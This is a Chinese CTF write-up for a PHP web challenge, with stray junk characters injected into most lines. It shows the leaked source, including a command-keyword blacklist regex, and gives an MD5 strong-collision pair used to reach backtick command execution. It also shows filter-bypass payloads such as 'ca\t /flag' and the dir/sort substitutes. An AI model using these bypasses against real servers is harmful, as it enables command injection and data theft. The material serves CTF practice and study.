|
4 Q- b1 M+ ^: G0 K2 v8 ^
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
/ ?7 _& ~' C5 A, m* L% {! [. [<p> </p>+ r9 v) i& a! c& T
<p> </p>
7 O2 C& Y' ^2 p: C _<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
5 r' p5 o, l2 B<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>! G4 g5 g( i6 i [! A
<p> </p>
/ ~$ O2 z6 N! K# V! D* k<p> </p>
/ e: c! Q" h4 [: s5 _<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>" j3 |' M( C* f3 L3 U. Q: x3 s
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
8 n/ T( F0 N; i8 L1 c<p>首先把那个进行一次base64位解码</p>9 V2 O8 ]! S( c+ |( v$ ?
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>4 X' q! N. L. w7 r& G- u6 U
<p> </p>: L) ]" `7 L- v* M( S7 Q0 I
<p> </p>
* G: W; v/ a+ B- W& S- }<p> 解码一次以后还是很像base64编码,于是又解码一次</p>: o+ Z9 _8 @% X7 o- d
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
% O# u3 k* y% c1 I7 H0 H) K<p> </p>
& V8 h! \2 C$ I# U1 I8 B<p> </p>
6 l, `% E: F% n2 R<p> 然后用hex解码一下得到了</p>3 h0 H2 v6 u/ R7 ^) @
<div class="cnblogs_Highlighter">
8 ~ i3 P; k/ T# w7 C<pre class="brush:sql;gutter:true;">555.png
* K) ]% y6 Q5 P4 P5 |</pre>$ W1 y3 }& y' S6 z
</div>! K! t7 o! E; n4 P% w
<p> 用同样的方法把index.php进行加密</p>/ z( K. K) K0 T: r4 b
<div class="cnblogs_Highlighter">
: @, p3 O/ T% l7 W% @<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
/ Q9 I+ d) v) t7 m0 N6 W9 T</pre>' `2 O& u* V, m, C+ e8 s
</div>
7 L8 _* V% O2 u" a1 c<p> 然后输入到地址栏</p>7 z$ e r; ?6 }' s5 W
<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>3 l! C' y4 {7 T
<div class="cnblogs_code">
- ~0 G$ a: ^( b$ o0 M& A<pre><?<span style="color: rgba(0, 0, 0, 1)">php
" `( J8 L3 m: E/ [! C% N</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);2 ~% F' P1 A u$ V- l* T
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);. R# d' ^* v- c% U. u0 x
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];2 v9 Y' V! ~& {4 j; ?* i1 y
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
/ e& ]+ v$ O4 M K7 D& G7 z7 _ </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
! T# g- z, k1 x! Q5 H/ |2 [- F& r</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));* Q5 v6 _' {: h p; H- X) _: V' b w
5 Y: ?1 l' A9 G: S3 o' j: \
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);' ]" Q H. {2 U& @2 G: x0 B- ]2 i
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
. c+ R% T4 F( L3 y3 S+ g6 ?3 A, f </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;. a3 p' @4 E1 A# | D
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
4 \3 C5 r* D* J0 d& R} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
6 P, Z' o4 W% T. x- R8 i) \5 w" x4 H </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
$ x" A. n% s7 G: N. Y </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;) W$ q* V( p; H) @. P$ n2 k" R Y
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;& m- K* I* {+ u: [
}
3 j. E3 w( L p* E5 U; w% u, Y</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
& {* w( P9 W+ ^' D5 D/ [ e</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
, x( ?: ]3 S% e+ H8 C$ ~) B( f</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {% Y8 \2 x2 r, b6 z4 C; y
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);7 z5 Y$ J T: {, p
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;! z6 F4 G5 ~2 Q9 w6 k4 {7 K
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {) u/ B1 a+ D* J% {4 F$ X. ~
</span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
- Z( u U9 B5 N" Z </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;1 ^; G% }1 g, O/ E, L( v
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {3 |$ b0 P8 _* D9 [- F. X
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);9 q' t* K7 l% M: \
}
$ y* L( r8 N, ~+ B}$ O- q1 u% N' _* j/ S
* z% ]- k/ K" G, Y7 z
</span>?>
! i2 d- M. `& k& h6 Y. W ]<html>
8 Y, E" l" p* k- Y" {<style><span style="color: rgba(0, 0, 0, 1)">* q- C( k9 J. F" w9 W/ I
body{& L* x `- y0 r* ?; N3 K( {# n
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;( ?; g8 v, Y: F9 o/ o0 Y
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
+ T X" Z# @. `' O& R; K) _) _ background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;" D1 R2 j# K6 g' A1 Q9 x/ l; X: V: p
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
: z8 {. ?0 ]+ d {! K& u<span style="color: rgba(0, 0, 0, 1)">}4 D" M9 ^0 w- w
</span></style>) ]$ W( }+ P. I! ^ ^
<body>. s, R' a0 j; M
</body>
4 ~1 |. C. b2 p! U( n</html></pre>
. {6 G& D) I& r+ P6 J5 c: X: I5 [/ y</div>
$ y( R7 Z& ~9 y" @. }! C0 h<p>结合前面的推断,关键代码就在</p>) A+ Z7 y- Q& v) m7 ]6 X
<div class="cnblogs_code">& ^4 K e% d$ T. @, w/ Y
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {: O6 `8 S* @- Q, }/ `1 ? _
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;7 y; J: P% y! } Y& _: {6 t0 f% ?
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
: _7 s% Z3 }% l9 r </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
# K7 P* {7 ^! s, w& }7 K }</span></pre>
! m1 B# B; s, I6 Q</div>( E6 F+ z. B5 u% U; w7 R/ \0 O4 h
<p>这种MD5是md5强碰撞</p>8 J6 C( Y/ U; N1 r& k
<div class="cnblogs_Highlighter">
9 G8 _7 m/ D; p2 i1 D" X<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a25 C; ?0 g. x" X5 n9 i6 }
</pre>
Y6 b+ W5 r% v</div>* h2 a5 h+ x" F6 c
<div class="cnblogs_Highlighter">, r! G: Q5 x% |3 a
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2# M4 d; f! e9 ~+ W
</pre>5 E x+ L7 [' O5 J8 L
</div>' E$ F3 v" N0 A
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
* Q. W9 T/ I& \, z) P, N<p>于是采用payload:</p>
. F2 t( K( k( l5 T7 _$ f* u5 `<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
3 Y) L4 ? Y- d<p> </p>5 ?7 x5 q7 [$ f+ t2 `
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>4 {; ~# x8 y k- C: L# J0 s
<p>ls和l\s在命令执行的时候结果是一样的。</p>
) E8 k y e2 K1 K; h1 y! {) X: L<p>然后发现根目录里面有/flag</p>
! P' W! t2 e8 \0 D9 L' G<p>于是payload:</p>. J) }, J+ r( w% ]1 @( }
<div class="cnblogs_Highlighter">
( v5 D9 ^& T$ f" P<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
" G* N+ m @: ?0 F* L9 i/ b# F0 V</pre>- b8 N/ @9 Z6 _ g w2 [
</div>
) l5 \3 ?$ j$ M$ U& o<p> 对于这个题目,因为他没有屏蔽sort和dir</p>8 Z" R! h: D: p
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
& Z' t: x3 D* _# w' J5 V<p> </p>! W3 ]' n# X$ ^: C) I4 H0 c+ `
|
|